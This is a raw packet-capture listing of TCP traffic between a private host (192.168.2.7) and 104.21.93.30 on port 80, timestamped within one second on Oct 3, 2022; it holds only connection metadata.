Oct 3, 2022 17:34:54.308444023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308464050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308476925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308506966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308537006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308548927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308564901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308579922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308595896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308626890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308654070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308670998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308682919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308700085 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.308712959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308739901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.308784008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.326262951 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.326360941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333029032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333085060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333115101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333142996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333172083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333200932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333229065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333234072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333257914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333276987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333288908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333317041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333319902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333338976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333352089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333380938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333403111 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333410025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333439112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333451033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333468914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333498001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333512068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333528042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333558083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333576918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333585978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333616018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333631039 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333643913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333673954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333703041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333715916 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333730936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333750963 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333760977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333790064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333817005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333833933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333846092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333864927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333874941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333904028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333930969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333949089 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333961010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.333986998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.333990097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334021091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334049940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334063053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334079027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334089994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334105968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334134102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334151983 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334173918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334203005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334218979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334233999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334264040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334283113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334295034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334325075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334338903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334356070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334384918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334398031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334419966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334464073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334511995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334544897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334573984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334590912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334604025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334633112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334641933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334664106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334693909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334706068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334722996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334753990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334777117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334784031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334815979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334826946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334846020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334873915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334907055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.334927082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334956884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.334986925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335004091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335016012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335040092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335047960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335078001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335093975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335108042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335139990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335150003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335464001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335517883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335549116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335578918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335614920 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335648060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335679054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335709095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335731983 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335740089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335772991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335787058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335803986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335834026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335864067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335875988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335895061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335903883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.335926056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335957050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335985899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.335994959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336015940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336024046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336047888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336077929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336087942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336110115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336141109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336152077 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336173058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336215019 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336469889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336504936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336539984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336568117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336571932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336605072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336626053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336635113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336667061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336699009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336705923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336738110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.336746931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336776018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336796045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.336812973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.355655909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355699062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355726004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355748892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355775118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355792046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.355792046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.355802059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355830908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355844021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.355859041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355874062 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.355886936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355915070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355952978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.355957985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.355978966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356007099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356025934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356033087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356045008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356067896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356095076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356111050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356122017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356152058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356164932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356178999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356205940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356232882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356254101 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356260061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356275082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356287956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356316090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356336117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356343985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356587887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356616020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356632948 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356643915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356659889 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356672049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356694937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356718063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356762886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356791019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356817007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356836081 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356844902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356863976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356872082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356899977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356925964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356925964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.356952906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.356980085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357004881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357029915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357055902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357080936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357105970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357117891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357131004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357144117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357158899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357184887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357209921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357233047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357237101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357264996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357290983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357311964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357332945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357409000 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357737064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357769012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357795954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357822895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357845068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357851982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357871056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357881069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357909918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357935905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357953072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357964039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.357983112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.357990980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358021021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358037949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.358047962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358076096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358093977 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.358102083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358129025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358145952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.358155966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358182907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358210087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358231068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.358232021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.358246088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369280100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369318962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369344950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369370937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369399071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369426012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369429111 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369453907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369477034 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369484901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369496107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369515896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369543076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369570017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369584084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369597912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369609118 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369626999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369653940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369668007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369682074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369708061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369738102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369749069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369765997 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369775057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369792938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369820118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369843960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369867086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369868040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369890928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369894981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369921923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369946003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369961977 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369968891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.369987011 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.369997025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370021105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370043993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370065928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370084047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370090008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370095015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370115995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370142937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370143890 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370171070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370194912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370217085 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370238066 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370271921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370301008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370326996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370341063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370366096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370390892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370410919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.370419025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370448112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.370474100 CEST	80	49702	104.21.93.30	192.168.2.7
